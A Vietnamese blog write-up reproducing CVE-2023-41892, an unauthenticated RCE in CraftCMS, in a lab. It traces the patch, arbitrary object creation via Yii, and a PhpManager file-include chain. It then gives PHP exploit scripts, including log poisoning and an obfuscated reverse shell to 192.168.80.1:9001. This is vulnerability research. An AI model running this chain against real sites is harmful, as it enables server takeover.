This page looks best with JavaScript enabled

Reproducing CVE-2023-41892: CraftCMS RCE

 ·  ☕ 18 min read  ·  🐉 Edisc

I. Lời mở đầu

  • Sau vài tháng đắm chìm vào Java Deserialize attack, tôi tí nữa là bị chết chìm luôn 😟. Đợt này nhân tiện có CVE mới về CraftCMS và đọc được bài blog về nó trên https://blog.calif.io/p/craftcms-rce, tôi quyết định reproduce để ôn lại PHP và lấy lại mood.
  • CraftCMS là một hệ thống quản lý nội dung (CMS) mã nguồn mở dựa trên PHP. Nó được thiết kế để tạo các trang web và ứng dụng web mạnh mẽ và linh hoạt.
  • CVE-2023-41892 là lỗ hổng trên CraftCMS, cho phép attacker RCE mà không cần authen. Lỗ hổng đã được fix ở version 4.4.15

II. Setup môi trường CraftCMS


  • Đối với các product viết bằng PHP, một trong những khó khăn lớn nhất hay gặp phải là setup môi trường. Với Craftcms, ta thực hiện các bước như sau:
  1. Tôi cài đặt trên môi trường ubuntu 22.04, và cái đặt XAMPP với phiên bản php 8.1.17

  2. Sau đó cài composer: https://getcomposer.org/Composer-Setup.exe (lưu ý cần cài đặt xampp trước)

  3. Download phiên bản craftcms bị lỗi, ở đây, tôi chọn bản 4.4.12 (https://github.com/craftcms/cms/releases/tag/4.4.12)

    Untitled

  4. Extract file và bỏ vào folder /opt/lampp/htdocs/my-craftcms

    Untitled

  5. Chạy lệnh composer install Nếu bị lỗi về thiếu extension thì vào php.ini của xampp để bật lên (có thể xóa đi file composer.lock)

  6. Chạy lệnh sau để tạo secret key

    1
    
    php craft setup/security-key
    

    Để đảm bảo câu lệnh chạy xong, bạn có thể xem trong file .env

    Untitled

  7. Vào địa chỉ http://localhost/my-craftcms/web/admin/install Tại đây, tiến hành cài đặt như các hướng dẫn khác trên internet

    Untitled

    NOTE

    Trên Linux, nếu vào địa chỉ trên bị lỗi, có thể dùng câu lệnh để fix

    1
    
    sudo chmod -R 777 .env composer.* config storage vendor web/cpresources
    

    Tại bước này thì trên internet có rất nhiều, bạn chỉ cần chọn 1 cái và làm theo là được

    Untitled

Như thế này là thành công rồi

Untitled

Ngoài ra, các bạn có thể tìm hiểu và setup cách để debug php code theo link sau: https://www.cloudways.com/blog/php-debug/ (thêm vào php.ini)

  • Trên Windows

    1
    2
    3
    4
    
    [XDebug]
    zend_extension = "c:\xampp\php\ext\php_xdebug.dll"
    xdebug.mode = debug
    xdebug.start_with_request = yes
    
  • Trên Linux (/opt/lampp/etc/php.ini)

    1
    2
    3
    
    zend_extension = xdebug
    xdebug.mode = debug
    xdebug.start_with_request = yes
    

III. Lỗ hổng CVE-2023-41892

3.1 Diff-patch tìm root-cause

  • Trước tiên, hãy diff-patch thử, trên github cũng có (https://github.com/craftcms/cms/commit/c0a37e15cc925c473e60e27fe64054993b867ac1##diff-47dd43d86f85161944dfcce2e41d31955c4184672d9bd9d82b948c6b01b86476)

    Untitled

    Dễ thấy, trong class src/controllers/ConditionsController.php của craftcms/cms, các đoạn code được thêm vô

    1
    2
    3
    4
    5
    
    if (!parent::beforeAction($action)) {
                return false;
    }
    
    $this->requireCpRequest();
    

    và hàm return parent::beforeAction($action); tại dòng 51 bị bỏ đi. Điều này cho thấy lỗ hổng này có liên quan tới thứ tự thực thi của câu lệnh parent::beforeAction($action);.

  • Với 1 newbie như tôi thì câu hỏi hiện lên đầu tiên: Controller:beforeAction là gì? Cơ chế hoạt động như thế nào? (Tôi là 1 newbie nên những câu hỏi bị xem ngớ ngẩn và cơ bản là chuyện bình thường, điều chúng ta chỉ cần làm đó là ghi nhận và giải đáp)

    Google một tí, ta sẽ tìm được câu trả lời tại https://hotexamples.com/examples/-/Controller/beforeAction/php-controller-beforeaction-method-examples.html

    Đây là một pre-action hook (tôi không biết dịch thế nào, đại khái trước khi PHP controller thực thi, hàm này sẽ được thực thi trước). Thông thường, hàm này dùng để check authen hoặc một số tiền điều kiện nào đó trước khi thực thi hàm controller. Đây là một action tự động của framework. Đồng thời, từ blog ta cũng sẽ biết thêm 1 framework mà craft sử dụng: [Yii](https://viblo.asia/p/yii-framework-tim-hieu-cau-truc-va-chay-thu-voi-basic-application-Qbq5QJOJKD8)

  • Như đã trình bày ở trên, hàm beforeAction() thường liên quan tới authen hoặc các tiền điều kiện nào đó, kết hợp với tiêu đề của lỗ hổng, ta có thể đoán ra chính thứ tự này dẫn tới unauthenticated bug. (không cần xác thực.)

    Okie, đã thấy được nơi để bắt đầu rồi ta cùng tìm hiểu flow của đoạn code này để tìm sink và từ sink trace ngược lại source.

3.2 Từ source đến sink

  • Hãy nhìn vào phần comment của class ConditionsController.php

    Untitled

    Theo mô tả, class này xử lý các tác vụ liên quan tới các điều kiện để render, thêm xóa các rules. Sau vài tiếng debug và xem xét, cuối cùng tôi cũng tìm được endpoint để touch tới được sink này:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    
    POST /my-craftcms/web/admin/conditions HTTP/1.1
    Host: 192.168.159.148
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Referer: http://192.168.159.148/my-craftcms/web/admin/plugin-store/feed-me
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 26
    Origin: http://192.168.159.148
    DNT: 1
    
    action=conditions%2Frender
    

    Untitled

  • Tiếp theo, chúng ta debug, tìm hiểu để điền các thông tin mình muốn và xem flow đi tiếp theo như thế nào, cuối cùng tôi được request như sau:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    
    POST /my-craftcms/web/admin HTTP/1.1
    Host: 192.168.159.149
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Referer: http://192.168.159.148/my-craftcms/web/admin/plugin-store/feed-me
    Origin: http://192.168.159.148
    DNT: 1
    Content-Length: 83
    Content-Type: application/x-www-form-urlencoded
    
    action=conditions%2Frender&config={"name"%3a"condition"}&condition=ConditionInterface
    

    Với request này, chương trình sẽ đi vào hàm vendor\craftcms\cms\src\services\Conditions.php:createCondition()

    Untitled

    Cơ bản thì chương trình sẽ lấy giá trị name param config, xem nó là 1 param trong request (ở đây là condition) và lấy giá trị của condition như một class để tạo object. Tuy nhiên, tại dòng 50, class này bắt buộc phải implement interface ConditionInterface)

  • Để giải quyết vấn đề nay, đầy tiên tôi dùng regex để search trên toàn bộ source code xem thử:

    Untitled

    Chỉ có 1 abstract class BaseCondition. Tôi tiến hành search trên google để tìm document xem sao và đã tìm được kết quả tại https://docs.craftcms.com/api/v4/craft-base-conditions-conditioninterface.html##public-method. Đây là danh sách các class chúng ta có thể sử dụng

    Untitled

  • Tới request như sau, chúng ta có thể tiếp tục chương trình

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    
    POST /my-craftcms/web/admin HTTP/1.1
    Host: 192.168.159.149
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Referer: http://192.168.159.148/my-craftcms/web/admin/plugin-store/feed-me
    Origin: http://192.168.159.148
    DNT: 1
    Content-Length: 85
    Content-Type: application/x-www-form-urlencoded
    
    action=conditions%2Frender&config={"name"%3a"condition"}&condition=craft\elements\conditions\ElementCondition
    

    Sau khi kiểm tra class truyền vào được implement ConditionInterface, hàm sẽ trả về một object được tạo thành từ class truyền vào

    Untitled

    Dễ thấy, hàm createObject() còn có thêm hai trường attributesconditionRules được lấy giá trị từ configrules.

  • Cùng tiếp tục flow của chương trình:

    Untitled

    Sau khi trả class về, hàm Craft:configure được thực thi:

    Untitled

    Hàm Craft:configure nhận vào hai tham số $object$properties tương ứng với $this->_condition$baseConfig (hai giá trị này chúng ta control được). Nhiệm vụ của hàm là gán các properties cho object.

  • Nhìn sơ qua thì rất bình thường đúng không? Lúc đầu tôi nghĩ lỗ hổng là ở đây vì chúng ta có thể gán bất kì giá trị nào cho bất kì properties nào của $object. Như thế, việc còn lại tìm gadget chain để khai thác thôi. Tuy nhiên, ta thấy $object ở đây có giới hạn: được tạo thành từ các class implement ConditionInterface.

  • Tôi nhớ rằng trong blog của anh thanhtc có nói lỗ hổng này cho phép tạo một object bất kì như tới đây tôi chỉ có thể tạo object môt cách giới hạn. Sau đó, tôi quyết định đọc kĩ lại blog một lần nữa (chắc đây là lần đọc lại thứ 5-6) và tôi đã chú ý tới cái hint mà anh để lại:

    Untitled

  • Bạn thấy chứ? Trong luồng thực thi trên, chúng ta đang ở \yii\BaseYii::configure

    Untitled

    Đặt breakpoint tại \yii\base\Componet::__set, chúng ta sẽ thấy, tại dòng 558, phép gán $object->$name = $value sẽ gọi tới method \yii\base\Componet::__set.

    Hãy cùng sửa đổi lại request của chúng ta một tí. Tôi viết mã exploit bằng PHP để tiện cho việc build payload (hơn dùng burpsuite)

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    
    <?php
    
    function triggerCode($url, $postData, $proxy = '127.0.0.1:8080') {
        // Initialize cURL session
        $ch = curl_init($url);
    
        $options = [
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => http_build_query($postData), // Encode the POST data
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_PROXY => $proxy, // Specify the proxy address and port
        ];
    
        curl_setopt_array($ch, $options);
    
        // Execute the cURL session and store the response
        $response = curl_exec($ch);
    
        // Check for cURL errors
        if (curl_errno($ch)) {
            echo 'cURL error: ' . curl_error($ch);
        } else {
            // Output the response from the server
            echo 'Response: ' . $response;
        }
    
        // Close the cURL session
        curl_close($ch);
    }
    
    // Usage for triggerCode
    $url = 'http://192.168.159.149/my-craftcms/web/admin';
    
    $postData = [
        'action' => 'conditions/render',
        'config' => json_encode([
            "name" => "conditionClass",
            "conditionClass" => "xxxxx"
        ]),
        'conditionClass' => [
            'class' => 'craft\elements\conditions\ElementCondition'
        ]
    ];
    
    triggerCode($url, $postData);
    
    ?>
    

    Với request trên chúng ta sẽ vào được hàm \yii\base\Componet::__set

    Untitled

    Hai tham số truyền vào là $name$value. Tuy theo giá trị $name truyền vào là gì thì chương trình sẽ xử lý khác nhau.

    • Hãy nhìn vào dòng lệnh 191. Nếu $name bắt đầu bằng 'as ' thì dòng 191 sẽ thực thi và câu lệnh Yii:createObject($value) sẽ được gọi.
    • Ngoài ra, nhìn vào giá trị debug, bạn sẽ thấy hai giá trị $name$value được chúng ta truyền vào
  • Tới đây, chúng ta đã có khả năng tạo một object bất kì mà chúng ta muốn bằng requets như sau:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    
    <?php
    
    function triggerCode($url, $postData, $proxy = '127.0.0.1:8080') {
        // Initialize cURL session
        $ch = curl_init($url);
    
        $options = [
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => http_build_query($postData), // Encode the POST data
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_PROXY => $proxy, // Specify the proxy address and port
        ];
    
        curl_setopt_array($ch, $options);
    
        // Execute the cURL session and store the response
        $response = curl_exec($ch);
    
        // Check for cURL errors
        if (curl_errno($ch)) {
            echo 'cURL error: ' . curl_error($ch);
        } else {
            // Output the response from the server
            echo 'Response: ' . $response;
        }
    
        // Close the cURL session
        curl_close($ch);
    }
    
    // Usage for triggerCode
    $url = 'http://192.168.159.149/my-craftcms/web/admin';
    
    $postData = [
        'action' => 'conditions/render',
        'config' => json_encode([
            "name" => "conditionClass",
            "as Class" => "xxxxx"
        ]),
        'conditionClass' => [
            'class' => 'craft\elements\conditions\ElementCondition'
        ]
    ];
    
    triggerCode($url, $postData);
    
    ?>
    

    với xxxxx là địa chỉ class mà bạn muốn tạo

    Untitled

  • Vậy là chúng ta đã tìm được con đường từ source tới sink rồi. Phần còn lại là đi tìm gadget chain thôi

3.3 From Chain read/execute file to RCE

3.3.1 read/execute file with \yii\rbac\PHPManager
  • Chain này nằm ở class \yii\rbac\PhpManager. Có thể tại đây nhiều bạn thắc mắc tại sao có thể tìm ra class này. Tôi chỉ đơn giản là search thôi, search các làm liên quan tới read file, load file, execute rồi trace ngược xem nó được gọi từ class nào.
  • Ngoài ra trong blog trước đây của tôi cũng có đề cập tới công cụ PHPGCC, bạn có thể sử dụng thử
  • Để hiểu rõ hơn về chain này, chúng ta cùng đi thẳng vào mã khai thác luôn:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php

function triggerCode($url, $postData, $proxy = '127.0.0.1:8080') {
    // Initialize cURL session
    $ch = curl_init($url);

    $options = [
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($postData), // Encode the POST data
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_PROXY => $proxy, // Specify the proxy address and port
    ];

    curl_setopt_array($ch, $options);

    // Execute the cURL session and store the response
    $response = curl_exec($ch);

    // Check for cURL errors
    if (curl_errno($ch)) {
        echo 'cURL error: ' . curl_error($ch);
    } else {
        // Output the response from the server
        echo 'Response: ' . $response;
    }

    // Close the cURL session
    curl_close($ch);
}

// Usage for triggerCode
$url = 'http://192.168.159.149/my-craftcms/web/admin';

$postData = [
    'action' => 'conditions/render',
    'config' => json_encode([
        "name" => "conditionClass",
        "as Class" =>  [
            'class' => "\yii\\rbac\PhpManager",
            "itemFile" => "@storage/logs/web-2023-09-29.log"
        ]
    ]),
    'conditionClass' => [
        'class' => 'craft\elements\conditions\ElementCondition'
    ]
];

triggerCode($url, $postData);

?>

Trong phần trước, chúng ta có thể truyền giá trị bất kì vào hàm Yii:createObject($value). Hàm Yii:createObject() cũng cho phép chúng tra truyền nhiều kiểu dữ liệu (string, array,callable)

Untitled

Với flow khai thác trước đó, chúng ta luôn gọi Yii:createObject($value) có nghĩa là $params luôn bằng null. May mắn thay, khi truyền vào $value dưới dạng array, chúng ta có thể thay đổi, thiết lập giá trị các properties của object (cớ chế giống như gọi hàm Craft:configure). Cụ thể, tôi có request như sau:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php

function triggerCode($url, $postData, $proxy = '127.0.0.1:8080') {
    // Initialize cURL session
    $ch = curl_init($url);

    $options = [
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($postData), // Encode the POST data
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_PROXY => $proxy, // Specify the proxy address and port
    ];

    curl_setopt_array($ch, $options);

    // Execute the cURL session and store the response
    $response = curl_exec($ch);

    // Check for cURL errors
    if (curl_errno($ch)) {
        echo 'cURL error: ' . curl_error($ch);
    } else {
        // Output the response from the server
        echo 'Response: ' . $response;
    }

    // Close the cURL session
    curl_close($ch);
}

// Usage for triggerCode
$url = 'http://192.168.159.149/my-craftcms/web/admin';

$postData = [
    'action' => 'conditions/render',
    'config' => json_encode([
        "name" => "conditionClass",
        "as Class" =>  [
            'class' => "\yii\\rbac\PhpManager",
            "itemFile" => "file_name"
        ]
    ]),
    'conditionClass' => [
        'class' => 'craft\elements\conditions\ElementCondition'
    ]
];

triggerCode($url, $postData);

?>

Với request trên, chương trình sẽ gọi hàm Yii:createObject($value) với $value là một array có 2 tham số như hình:

Untitled

Các bước tiếp theo debug để hiểu rõ flow của hàm createObject(), tôi sẽ lượt bớt phần này để nảy thẳng tới class \yii\rbac\PhpManager (Bước này khá quan trọng cho những ai muốn tự build, custom payload)

  • Tiếp tục chương trình, vì được khởi tạo nên hàm __construct() của \yii\rbac\PhpManager

    Cách khai thác này giống với cách khai thác PHP deserialize, tìm các magic method để control value các properties để thay đổi luồng thực thi

  • Hàm này sẽ gọi Yii:configure()

    Untitled

    Hàm này tương tự với Craft:configure() sẽ thiết lập giá trị các properties cho object

    Untitled

  • Tiếp theo, hàm $this->init() được gọi. Tại bước này, object của chúng ta đã có property itemFile="file_name"

    Untitled

  • Vào hàm init():

    Untitled

  • Các giá trị sẽ được kiểm tra xem có phải là alias không, nếu phải thì sẽ lấy địa chỉ từ alias đó (trong CraftCMS, các alias được dùng để thay cho các địa chỉ cố định như là: @web, @storage,...

  • Sau đó hàm this->load() được gọi, hàm này sẽ đọc nội dung từ địa chỉ file được truyền vào

    Untitled

    Đến đây thì chắc hẳn bạn đã hiểu trong mã khai thác, tại sao tôi biết và truyền property itemFile vào rồi đúng không? Là debug thấy đó.

  • Như vậy, tới đây, tôi đã có thể đọc được một file bất kì trên hệ thống nếu biết địa chỉ của nó. Tôi thử tạo một file Edisc.php với nội dung là

    1
    2
    3
    
    <?php 
    print_r(phpinfo());
    ?>
    

    Cùng xem thử chain này chỉ đơn giản là đọc lên thôi hay thực thi code nữa.

    Untitled

    Wow! Thật bất ngờ, nó thực thi code nữa. Thừa thắng xong lên kiếm RCE thôi!!! 😊😊😊😊

3.3.2 RCE with log file
  • Sau khi tìm được chain read/execute file bất kì, câu hỏi tiếp theo đặc ra là: nên read file nào?
  • Tôi bắt đầu chú ý tới folder /opt/lampp/htdocs/my-craftcms/storage/logs :
    1. Nơi đây log lại các request tới server

    2. Tên gọi theo format dễ đoán:

      Untitled

      Trong đó web-yyy-mm-dd.log lưu lại các request truyền tới, kể cả đó là authen hay unauthen

    3. Địa chỉ này có alias là @storage

  • Như vậy, với địa chỉ file là @storage/logs/web-2023-09-29.log, tôi có thể đọc được log file.

Untitled

  • Tuy nhiên, câu chuyện là làm sao để có thể RCE. Thứ nhất log file có định dạng là file.log, liệu có thực thi được code không?
  • Tôi thử ngay, viết vào file log đoạn code <?php print_r(phpinfo());?> rồi xem kết quả. Và kết quả không thể làm cho chúng ta mừng hơn ^^ Thực thi được.
  • Bước tiếp theo, tôi cùng xem xét format của log để xem thử mình có thể break và chèn code vào được hay không. Tôi xóa hết log đi và thử requets đơn giản trước:
1
2
3
4
5
6
7
8
POST /my-craftcms/web/admin HTTP/1.1
Host: 192.168.159.149
Accept: */*
Content-Length: 511
Content-Type: application/x-www-form-urlencoded
Connection: close

xxxx=xxx

Untitled

  • Sau một hồi thử, tôi phát hiện chúng ta có thể break bằng request như sau: xxxx=']<?php print_r(phpinfo())?>'[

Untitled

  • Thử đọc lại file xem sao:

Untitled

Ngon lành, thừa thắng xông lên thôi!!!

Search ngay trên mạng 1 payload revershell rồi thực thi ngay thôi. Như vậy là xong…

Untitled

Nhưng đời không như mơ đâu… Vì khi ghi log, thì dấu '" sẽ bị lưu thành \'\" nên mã khai thác của chúng ta không chạy. Chúng ta cần brainstorm làm sao để build 1 cái mã mà không có 2 dấu trên Và đây là POC cuối cùng của tôi.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
<?php

function sendRequest($url, $cookie, $data) {
    $ch = curl_init($url);

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_COOKIE, $cookie);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // This is equivalent to -k option in cURL
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'Host: 192.168.159.149',
        'Accept: */*',
        'Upgrade-Insecure-Requests: 1',
        'Connection: close',
        'Content-Length: ' . strlen($data),
    ]);

    $response = curl_exec($ch);

    if ($response === false) {
        echo 'cURL error: ' . curl_error($ch);
    } else {
        // Output the response including headers
        echo $response;
    }

    curl_close($ch);
}

// Usage
$url = 'http://192.168.159.149/my-craftcms/web/admin';

$cookie = 'command=xxx';

$data = <<<PHP
']<?php ?> ;<?php ;php \$array = [76, 50, 74, 112, 98, 105, 57, 105, 89, 88, 78, 111, 73, 67, 49, 106, 73, 67, 99, 118, 89, 109, 108, 117, 76, 50, 74, 104, 99, 50, 103, 103, 76, 87, 107, 103, 80, 105, 89, 103, 76, 50, 82, 108, 100, 105, 57, 48, 89, 51, 65, 118, 77, 84, 107, 121, 76, 106, 69, 50, 79, 67, 52, 52, 77, 67, 52, 120, 76, 122, 107, 119, 77, 68, 69, 103, 77, 68, 52, 109, 77, 83, 99, 61];
    <?php
    \$array = [76, 50, 74, 112, 98, 105, 57, 105, 89, 88, 78, 111, 73, 67, 49, 106, 73, 67, 99, 118, 89, 109, 108, 117, 76, 50, 74, 104, 99, 50, 103, 103, 76, 87, 107, 103, 80, 105, 89, 103, 76, 50, 82, 108, 100, 105, 57, 48, 89, 51, 65, 118, 77, 84, 107, 121, 76, 106, 69, 50, 79, 67, 52, 52, 77, 67, 52, 120, 76, 122, 107, 119, 77, 68, 69, 103, 77, 68, 52, 109, 77, 83, 99, 61];
    \$string = array_reduce(\$array, function (\$a, \$b) { return \$a . chr(\$b); });
    print_r(base64_decode(\$string));
    exec(base64_decode(\$string));
?>'
PHP;

sendRequest($url, $cookie, $data);

function triggerCode($url, $postData, $proxy = '127.0.0.1:8080') {
    // Initialize cURL session
    $ch = curl_init($url);

    $options = [
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($postData), // Encode the POST data
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_PROXY => $proxy, // Specify the proxy address and port
    ];

    curl_setopt_array($ch, $options);

    // Execute the cURL session and store the response
    $response = curl_exec($ch);

    // Check for cURL errors
    if (curl_errno($ch)) {
        echo 'cURL error: ' . curl_error($ch);
    } else {
        // Output the response from the server
        echo 'Response: ' . $response;
    }

    // Close the cURL session
    curl_close($ch);
}

// Usage for triggerCode
$url = 'http://192.168.159.149/my-craftcms/web/admin';

$postData = [
    'action' => 'conditions/render',
    'config' => json_encode([
        "name" => "elementType",
        "elementType" => "\yii\\rbac\PhpManager",
        "as class1" => [
            'class' => "\yii\\rbac\PhpManager",
            "itemFile" => "@storage/logs/web-2023-09-29.log"
        ]
    ]),
    'elementType' => [
        'class' => 'craft\elements\conditions\ElementCondition',
        'config' => json_encode([
            "elementTypess" => "\yii\\rbac\PhpManager",
            'conditionRules' => ['UploaderConditionRule']
        ])
    ]
];

// Sleep for 2 seconds
sleep(2);

triggerCode($url, $postData);
?>
  • Một số lưu ý:
    • Nếu các bạn bỏ qua các bước trên mà lấy POC ở trên chạy ngay thì nó sẽ không work (và đây cũng ko phải là tinh thần của blog này)
    • Với cách khai thác này sẽ có nhiều yếu tố bị phụ thuộc:
      • Tên địa chỉ file log có thể bị format lại ở realcase, chúng ta không đoán được.
      • Cấu trúc lưu log, nội dung lưu log
    • Do đó, chúng ta cần tìm một phương pháp khác để khai thác hiệu quả hơn. Đẹp nhất là tìm một chain cho phép lưu file tùy ý để rồi chúng ta execute.
    • Yeah, một trong những đáp án đẹp đó nằm ở bài research này https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/. Còn đáp án cụ thể như thế nào thì chờ ở blog sau hoặc tôi sẽ update sau nhé. Bây giờ tôi phải submit để kịp deadline blog của tháng này để khỏi bị mất 200k thôi.
      Untitled

IV. Tài liệu tham khảo


Share on

Edisc
WRITTEN BY
Edisc
Cyber Security Engineer

 
What's on this Page